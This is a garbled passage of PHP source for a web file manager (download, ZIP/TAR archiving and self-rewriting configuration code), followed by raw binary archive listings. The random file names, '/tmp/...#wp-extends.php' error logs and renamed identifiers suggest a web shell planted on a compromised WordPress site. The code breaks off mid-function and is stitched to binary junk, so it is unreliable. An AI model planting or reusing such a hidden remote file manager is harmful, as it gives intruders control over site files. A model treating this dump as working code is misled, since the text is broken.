"MSIE")) { $fileName = preg_replace('/\./', '%2e', $fileName, substr_count($fileName, '.') - 1); header("Content-Disposition: $contentDisposition;filename=\"$fileName\""); } else { header("Content-Disposition: $contentDisposition;filename=\"$fileName\""); } header("Accept-Ranges: bytes"); $range = 0; if (isset($_SERVER['HTTP_RANGE'])) { list($a, $range) = explode("=", $_SERVER['HTTP_RANGE']); str_replace($range, "-", $range); $size2 = $size - 1; $new_length = $size - $range; header("HTTP/1.1 206 Partial Content"); header("Content-Length: $new_length"); header("Content-Range: bytes $range$size2/$size"); } else { $size2 = $size - 1; header("Content-Range: bytes 0-$size2/$size"); header("Content-Length: " . $size); } $fileLocation = realpath($fileLocation); while (ob_get_level()) ob_end_clean(); readfile($fileLocation); fclose($fp); return ((connection_status() == 0) and !connection_aborted()); } function fm_get_theme() { $result = ''; if(FM_THEME == "dark") { $result = "text-white bg-dark"; } return $result; } class FM_Zipper { private $zip; public function __construct() { $this->zip = new ZipArchive(); } public function create($filename, $files) { $res = $this->zip->open($filename, ZipArchive::CREATE); if ($res !== true) { return false; } if (is_array($files)) { foreach ($files as $f) { $f = fm_clean_path($f); if (!$this->addFileOrDir($f)) { $this->zip->close(); return false; } } $this->zip->close(); return true; } else { if ($this->addFileOrDir($files)) { $this->zip->close(); return true; } return false; } } public function unzip($filename, $path) { $res = $this->zip->open($filename); if ($res !== true) { return false; } if ($this->zip->extractTo($path)) { $this->zip->close(); return true; } return false; } private function addFileOrDir($filename) { if (is_file($filename)) { return $this->zip->addFile($filename); } elseif (is_dir($filename)) { return $this->addDir($filename); } return false; } private function addDir($path) { if (!$this->zip->addEmptyDir($path)) { return false; } $objects = scandir($path); if (is_array($objects)) { foreach ($objects as $file) { if ($file != '.' and $file != '..') { if (is_dir($path . '/' . $file)) { if (!$this->addDir($path . '/' . $file)) { return false; } } elseif (is_file($path . '/' . $file)) { if (!$this->zip->addFile($path . '/' . $file)) { return false; } } } } return true; } return false; } } class FM_Zipper_Tar { private $tar; public function __construct() { $this->tar = null; } public function create($filename, $files) { $this->tar = new PharData($filename); if (is_array($files)) { foreach ($files as $f) { $f = fm_clean_path($f); if (!$this->addFileOrDir($f)) { return false; } } return true; } else { if ($this->addFileOrDir($files)) { return true; } return false; } } public function unzip($filename, $path) { $res = $this->tar->open($filename); if ($res !== true) { return false; } if ($this->tar->extractTo($path)) { return true; } return false; } /** * Add file/folder to archive * @param string $filename * @return bool */ private function addFileOrDir($filename) { if (is_file($filename)) { try { $this->tar->addFile($filename); return true; } catch (Exception $e) { return false; } } elseif (is_dir($filename)) { return $this->addDir($filename); } return false; } private function addDir($path) { $objects = scandir($path); if (is_array($objects)) { foreach ($objects as $file) { if ($file != '.' and $file != '..') { if (is_dir($path . '/' . $file)) { if (!$this->addDir($path . '/' . $file)) { return false; } } elseif (is_file($path . '/' . $file)) { try { $this->tar->addFile($path . '/' . $file); } catch (Exception $e) { return false; } } } } return true; } return false; } } class FM_Config { var $data; function __construct() { global $root_path, $root_url, $CONFIG; $fm_url = $root_url.$_SERVER["PHP_SELF"]; $this->data = array( 'lang' => 'en', 'error_reporting' => true, 'show_hidden' => true ); $data = false; if (strlen($CONFIG)) { $data = fm_object_to_array(json_decode($CONFIG)); } else { $msg = 'insertion
Error: Cannot load configuration'; if (substr($fm_url, -1) == '/') { $fm_url = rtrim($fm_url, '/'); $msg .= '
'; $msg .= '
Seems like you have a trailing slash on the URL.'; $msg .= '
Try this link: ' . $fm_url . ''; } die($msg); } if (is_array($data) and count($data)) $this->data = $data; else $this->save(); } function save() { $fm_file = __FILE__; $var_name = '$CONFIG'; $var_value = var_export(json_encode($this->data), true); $config_string = " ' . $_SESSION[DN_CESSION_ID]['message'] . '

'; unset($_SESSION[DN_CESSION_ID]['message']); unset($_SESSION[DN_CESSION_ID]['status']); } } function fm_show_header_login() { $sprites_ver = '20160315'; header("Content-Type: text/html; charset=utf-8"); header("Expires: Sat, 26 Jul 1997 05:00:00 GMT"); header("Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0"); header("Pragma: no-cache"); global $lang, $root_url, $favicon_path; ?> '; } ?> <?php echo fanco(APP_TITLE) ?> ">
'; } ?> <?php echo fanco(APP_TITLE) ?> ">
PKf[~KX77 e46ft.phpnu[PKIpPKg[b  oy5mbk.zipnu[PKg[/mm index.phpnu[PKg[/mm index.phpnu[PKIPKg[pG= nugyh8.tarnu[error_log000064400000000320151033100050006440 0ustar00[27-Oct-2025 03:47:38 UTC] PHP Notice: Undefined index: uid in /tmp/phpM5aThD#wp-extends.php on line 1 [05-Nov-2025 08:22:19 UTC] PHP Notice: Undefined index: uid in /tmp/phpM5aThD#wp-extends.php on line 1 index.php000064400000000156151033100050006352 0ustar00PKg[Ļ  oy5mbk.tarnu[PKg[YD+55 :nugyh8.tar.gznu[PKg[(= pki-validation.tar.gznu[PKg[RB' index.php.tarnu[PKg[(upki-validation.tarnu[PKg[+\\ pk14de.tarnu[PKg[Ѣ Joy5mbk.tar.gznu[PKg[ Mpk14de.tar.gznu[PKg[J$KK serror_lognu[PKg[ge  rs2toj.zipnu[PKg[MWgg  index.phpnu[PKg[σ3 ~ lwycpd.zipnu[PKg[ٖ4k2 index.php.php.tar.gznu[PKg[U 3 ko6li5.zipnu[PKg[b   oy5mbk.zipnu[PKg[pG= - nugyh8.tarnu[PKg# PK$g[ lrw89y.zipnu[PK$g[ d efv25k.tar.gznu[PK$g[a efv25k.tarnu[PK$g[I;a a Nesd8wv.zipnu[PK$g[5~ nEoy5mbk.tarnu[PK$g[F33 Me0osfa.zipnu[PK$g[ff ko6li5.tar.gznu[PK$g[S, e&lrw89y.tarnu[PK$g[x{ ko6li5.tarnu[PK$g[f oy5mbk.tar.gznu[PK$g[$nd%% 4ermtb.tarnu[PK$g[ 7Occ 8error_lognu[PK$g[tȅhdhd 94ermtb.tar.gznu[PK$g[Hhrgg x:index.phpnu[PK$g[f^a4y:index.php.php.tar.gznu[PK$g[g ez:oy5mbk.zipnu[PK$g[ܮA:A: {:lrw89y.tar.gznu[PK$g[gg":error_log.tar.gznu[PK$g[X*FD( D( ɸ:pk14de.zipnu[PKGG